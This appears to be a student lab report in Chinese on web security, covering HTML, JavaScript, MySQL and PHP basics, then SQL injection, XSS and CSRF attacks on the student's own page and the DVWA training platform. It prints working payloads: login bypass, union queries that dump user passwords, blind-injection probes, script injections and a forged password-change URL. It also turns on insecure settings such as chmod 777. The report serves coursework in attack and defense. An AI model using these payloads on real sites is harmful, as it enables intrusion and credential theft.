首页 > 其他分享 >20222405 2024-2025-1 《网络与系统攻防技术》实验八实验报告

20222405 2024-2025-1 《网络与系统攻防技术》实验八实验报告

时间:2024-12-03 11:55:28浏览次数:4  
标签:Web DOM JavaScript 2024 2025 HTML 20222405 输入

1.实验内容

1.1 学习内容

本周通过学习HTML,加深了对Web安全的理解。我掌握了表单的创建与使用,以及GET和POST方法。了解了MySQL的基本操作,包括数据库的创建、用户管理和表的操作。我学习了如何通过恶意SQL语句绕过认证并获取敏感数据,了解了使用预处理语句防止注入攻击。我还学习了XSS攻击,了解了如何通过用户输入注入恶意脚本,并学习了如何通过输出编码和过滤防止XSS攻击。

1.2 实验内容

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

2.1 Web前端HTML

2.1.1 Apache的安装和启停

输入命令apt-get install apache2安装apache

输入命令service start apache2打开apache服务

输入命令systemctl status apache2查看apache服务状态

可以看到apache是正常运行的

输入命令netstat -aptn可以看到apache占用了80端口

浏览器打开127.0.0.1

可以看到apache的默认网页,启动成功

输入命令systemctl stop apache2关闭apache服务

再输入命令systemctl status apache2查看apache服务状态

这是可以看到apache是关闭的,关闭成功

2.1.2 理解HTML,理解表单,理解GET与POST方法

(1)HTML(超文本标记语言)
HTML是用于构建网页的标准标记语言。它通过标签(Tags)和属性(Attributes)来描述网页的结构和内容。每个HTML文档通常由一个元素组成,包含头部信息()和网页主体()。

(2)HTML表单(Forms)
HTML表单是用来收集用户输入的一个重要元素。表单通常包含多个表单控件,如文本框、单选按钮、复选框、下拉菜单等,用户通过这些控件填写信息。

(3)GET与POST方法
在Web开发中,GET和POST是两种最常用的HTTP请求方法,它们用于从客户端(浏览器)向服务器发送数据。

GET方法

用途:用于从服务器获取资源或数据,适用于查询操作。
数据传输方式:数据附加在URL后面,格式为?key1=value1&key2=value2,通过URL传递。因为数据通过URL发送,所以它的长度有限制(通常在2048个字符以内)。

优点:
易于书签和缓存。
适用于获取数据。
无需在请求体中传输数据。

缺点:
数据可见,容易暴露敏感信息。
不适合传输大量数据。

提交表单后的URL:search.php?query=example。

POST方法

用途:用于向服务器发送数据,适用于提交数据,如表单的注册、登录、上传文件等操作。
数据传输方式:数据被包含在HTTP请求的体(body)中,而不是URL。没有长度限制,可以传输大量数据。

优点:
更安全,数据不暴露在URL中。
适用于提交敏感信息或大量数据。

缺点:
无法通过URL缓存请求结果。
不能通过书签进行保存。

提交后的数据不会显示在URL栏,而是在请求体中传递。

2.1.3 编写一个含有表单的HTML

输入命令cd /var/www/html

再输入命令touch 20222405.html创建一个html文件

然后输入命令vim 20222405.html对html文件进行编辑

将写好的代码放进文件并保存

用浏览器打开20222405.html

输入信息

点击登录后可以跳转

2.2 Web前端javascipt

2.2.1 理解JavaScript的基本功能,理解DOM

(1)JavaScript的基本功能
JavaScript是一种广泛用于Web开发的编程语言,主要用于客户端(浏览器端)脚本编程。它的基本功能包括:

动态内容操作:JavaScript可以在页面加载后动态更新网页内容,如修改HTML元素、创建新的元素、删除现有元素等。
事件处理:JavaScript可以响应用户的操作(如点击按钮、键盘输入、鼠标移动等),通过事件监听器(event listener)触发相应的代码。
表单验证:可以通过JavaScript在表单提交之前验证用户输入的内容,确保数据的合法性和完整性。
与服务器交互:通过AJAX(Asynchronous JavaScript and XML),JavaScript可以与服务器进行异步数据交互,不需要重新加载整个页面。
数据操作:JavaScript支持各种数据类型(如字符串、数字、数组、对象等)的操作,可以进行各种算术、逻辑、字符串等计算。

(2)DOM(文档对象模型)
DOM(Document Object Model)是HTML和XML文档的编程接口,它提供了一种结构化的方式来访问和操作页面的内容、结构和样式。DOM将网页中的HTML元素和属性抽象为对象,JavaScript可以通过DOM来访问这些对象,并进行操作。

DOM的核心概念:
节点(Node):DOM将网页内容表示为一个节点树。每个HTML元素、属性、文本都被视为一个节点。节点类型包括元素节点、文本节点、属性节点等。
元素节点(Element Node):代表HTML标签元素。
文本节点(Text Node):包含HTML元素之间的文本内容。
属性节点(Attribute Node):代表HTML标签的属性,如id、class等。

常见DOM操作:
获取元素:通过getElementById()、getElementsByClassName()、querySelector()等方法获取页面上的元素。
修改内容:通过innerHTML、textContent等属性来改变元素的内容。
修改样式:通过style属性动态修改元素的CSS样式。
添加/删除元素:可以使用appendChild()、removeChild()等方法添加或删除元素。

DOM的重要功能:
动态更新页面内容:通过JavaScript和DOM,可以改变页面的内容,而无需重新加载页面。
交互性增强:JavaScript和DOM使得页面可以响应用户的操作,增强了网页的交互性和动态性。
修改页面结构和样式:通过DOM,开发者可以动态地添加、删除、修改页面中的元素,以及修改元素的CSS样式。

2.2.2 在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”。

修改20222405.html的代码

重新用浏览器打开20222405.html

不填用户名和密码直接登录

填用户名但不填密码登录

填用户名和密码登录

符合要求

2.2.3 尝试注入攻击:利用回显用户名注入HTML及JavaScript

在用户名一栏中输入即可成功进行注入攻击

2.3 Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

输入命令service mysql start启动MySQL

再输入命令systemctl status mysql查看MySQL状态

成功启动

输入命令mysql -u root -p使用root登录,密码password

create database 20222405chuzhehao创建一个名为20222405chuzhehao的数据库

create user 'chuzhehao'@'%' IDENTIFIED BY '20222405';创建一个名为chuzhehao的用户,密码为20222405,可以从任意主机登录

alter user 'chuzhehao'@'%' identified by'222405';将用户chuzhehao的密码改为222405

use 20222405chuzhehao切换到数据库20222405chuzhehao

create table user_login(username VARCHAR(100),password VARCHAR(100));创建一个名为user_login的表,包含字段username和password

insert into user_login values('20222405','chuzhehao' );向表里插入数据

select *from user_login;查询数据

2.4 Web后端:编写PHP网页,连接数据库,进行用户认证

php代码如下

输入数据库中存在的账号密码

登陆成功

输入数据库中不存在的账号密码

登陆失败

2.5 最简单的SQL注入,XSS攻击测试

2.5.1 SQL注入

用户名或密码字段中输入' or 1=1#进行SQL注入

原理:

在我的代码中,查询语句是$query = "SELECT * FROM user_login WHERE username = '$username' AND password = '$password'";

如果攻击者在用户名或密码字段中输入' or 1=1#,那么SQL查询将变成:
SELECT * FROM user_login WHERE username = '' or 1=1#' AND password = ''

通过这种方式,SQL查询条件变成了username = '' or 1=1#,这意味着:
只要数据库中至少有一个用户,or 1=1就会使得查询条件总是返回true。因此,无论攻击者提供什么密码,都会认为是正确的。

2.5.2 XSS攻击

2.6 安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.6.1 安装DVWA平台

安装参考链接(https://blog.csdn.net/qq_64290057/article/details/127539229)

配置好后如下

创建数据库

2.6.2 完成SQL注入、XSS、CSRF攻击

2.6.2.1 SQL injection

输入1+2,输出也是1+2,判定是字符型注入

输入'1 or 1=1'直接报错,所以存在sql注入

使用1' order by 2 #判断字段数

1' order by 3 #直接报错,所以只有两个字段

使用联合查询1' union select 1,2 #获取回显位置

1' union select database(),2 #在对应位置获取数据库名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #获取数据库所有表名

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #获取users字段名

1' union select password,user from users #获取字段值

拿到了用户和密码,md5解密 即可

2.6.2.2 SQL injection(blind)

输入1' and 1=1 #可以看到正常执行

1' and length(database())=x #猜解数据库长度

1' and length(database())=4 #

1' and length(database())=5 #

可以看到数据库长度为5

1' and ascii(substr(database(),1,1))=100 #用aascii猜解数据库名

第一位ascii是100,查找ascii表为d,以此类推

1' and (select count(table_name) from information_schema.tables where table_schema=database())=x #判断有多少个表

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

1' and (select count(table_name) from information_schema.tables where table_schema=database())=3 #

可以看到有两个表,猜解表名同上

2.6.2.3 XSS(DOM)

将url中default=后面的内容改为<script>alert(20222405)</script>,可以看到回显

2.6.2.4 XSS(reflected)

直接在框中输入<script>alert(20222405)</script>

提交后可以看到回显

2.6.2.5 XSS(stored)

name有输入长度限制且不能为空

所以在massage中输入<script>alert(20222405)</script>

可以看到回显

2.6.2.6 CSRF

先输入一个不一致的密码,观察页面变化

可以看到url为:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=123&Change=Change#

我们构造一个url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=20222405&password_conf=20222405&Change=Change#

打开url后发现密码已经直接被修改了

3.问题及解决方案
问题1:打开dvwa时出现如下报错

问题1解决方案:

需要配置环境

输入命令cd /var/www/html/dvwa/config

再输入命令cp config.inc.php.dist config.inc.php

刷新后即可进入页面

问题2:出现PHP module gd: Missing - Only an issue if you want to play with captchas报错

问题2解决方案:

apt install php-gd安装php-gd

systemctl restart apache2重启Apache2服务即可

刷新界面,问题成功解决

问题3:出现PHP function allow_url_include: Disabled报错

问题3解决方案:

cd /etc/php/8.2/apache2进入目录

vim php.ini编辑文件

将allow_url_include修改为On

systemctl restart apache2重启Apache2服务即可

刷新界面,问题成功解决

问题4:出现reCAPTCHA key: Missing报错

问题4解决方案:

cd /var/www/html/dvwa/config进入目录

vim config.inc.php编辑文件

将这两串key输入进去

public:6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb

private:6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K

systemctl restart apache2重启Apache2服务即可

刷新界面,问题成功解决

问题5:权限不足

[User: root] Writable folder /var/www/html/dvwa/hackable/uploads/: No

[User: root] Writable folder /var/www/html/dvwa/config: No

问题5解决方案:

cd /var/www/html/dvwa/hackable/进入目录

chmod 777 uploads赋予权限

cd /var/www/html/dvwa/进入目录

chmod 777 config 赋予权限

systemctl restart apache2重启Apache2服务即可

刷新界面,问题成功解决

4.学习感悟、思考等

通过本次实验,我深入学习了Web开发的基础知识及其安全性,涵盖了前端HTML表单、JavaScript验证、后端MySQL操作以及PHP数据库连接等内容。在实验中,我通过实践了解了SQL注入、XSS等常见的Web安全漏洞,体会到输入验证、数据加密以及安全编程的重要性。尤其是通过DVWA平台进行模拟攻击,我深刻认识到Web应用中的每一个细节都可能成为攻击的突破口,安全开发必须贯穿整个开发过程,确保应用免受常见漏洞的侵害。

标签:Web,DOM,JavaScript,2024,2025,HTML,20222405,输入
From: https://www.cnblogs.com/20222405chu/p/18582069

相关文章

  • 【每日一题】20241203
    【每日一题】如图所示,将物块\(a\)分别放入光滑的\(A\)轨道和\(B\)轨道的最高点,以零初速度滑至轨道的最低点所用时间分别为\(t_1\)与\(t_2\).则已知\(A\)轨道与\(B\)轨道完全一至,则A.\(t_1>t_2\)B.\(t_1<t_2\)C.\(t_1=t_2\)D.\(t_1\geqt_2\)E.\(t_1\l......
  • 2024/12/2【链表】LeetCode 142 环形链表 II 【X】
    题目链接:https://leetcode.cn/problems/linked-list-cycle-ii/description/题解链接:https://www.programmercarl.com/0142.%E7%8E%AF%E5%BD%A2%E9%93%BE%E8%A1%A8II.html#%E5%85%B6%E4%BB%96%E8%AF%AD%E8%A8%80%E7%89%88%E6%9C%AC没做出来......
  • 2024最新苹果群控,手机实现多设备同步管理
    对苹果群控技术实现多设备同步管理的简要介绍。###一、核心原理-苹果群控技术的基础是硬件连接,使用USB数据线或无线网络(Wi-Fi)将多台苹果手机与控制电脑连接起来。-在控制电脑上安装专门的群控软件是实现远程控制的关键步骤。-群控软件通过特定的远程控制协议与苹果手......
  • 2025年数字内容管理趋势揭秘:Forrester权威报告,精选25项关键数据与分析
    随着数字化转型步伐的加速,数字内容管理(DigitalContentManagement,简称DCM)已成为推动企业效率提升、优化客户体验及增强市场竞争力的关键工具。全球范围内,DCM正经历着前所未有的快速发展。从企业的内容服务平台迭代到行业技术的革新,Forrester、IDC等多家权威机构的研究报告均......
  • 20222407 2024-2025-1 《网络与系统攻防技术》实验七实验报告
    1.实验内容1.1本周学习的内容是web安全中的XSS跨站脚本攻击、CRCS及其防范、burpsuit工具的使用方法。1.2实验要求:本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法。具体实践有(1)简单应用SET工具建立冒名网站(2)ettercapDNSspoof(3)结合应用两种技术,......
  • 2024年版最详细Python下载安装+PyCharm下载安装使用教程!新手小白必看!
    2024年版最新Python下载安装+PyCharm下载安装使用教程!一、Python的下载安装访问官网选择版本下载安装包安装Python验证安装二、PyCharm的下载安装访问官网下载PyCharm安装PyCharm首次启动与配置三、PyCharm的基本使用创建Python文件编写代码运行代码安装第三方库配置Py......
  • 【精准建模,高效仿真】2025年计算建模、仿真与数据挖掘国际会议(CMSDM 2025)
    ......
  • 【2024-12-02】正确保养
    20:00决定不再等待平静自己降临。他打算去做一-件事,让自己内心得到平静。                                                 ——罗伯特·麦卡蒙周六早上,我让何太给我......
  • title: 2024年最佳Windows软件推荐:从安全到优化全覆盖
    写在最前本贴持续更新,为个人的一些推荐建议,仅供参考大佬勿喷必备[安全防护]火绒干净无任何具有广告推广性质的弹窗和捆绑等打扰用户行为轻巧占用资源少,不影响日常办公、游戏简单一键下载,安装后使用默认配置即可获得安全防护一个及其良好安静的安全防护软件火......
  • 【漏洞复现】Bazaar 任意文件读取漏洞(CVE-2024-40348)
    免责声明请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。一、简介Bazaar是一个强大的分布式版本控制系统,旨在帮助开发者记录项目的历史......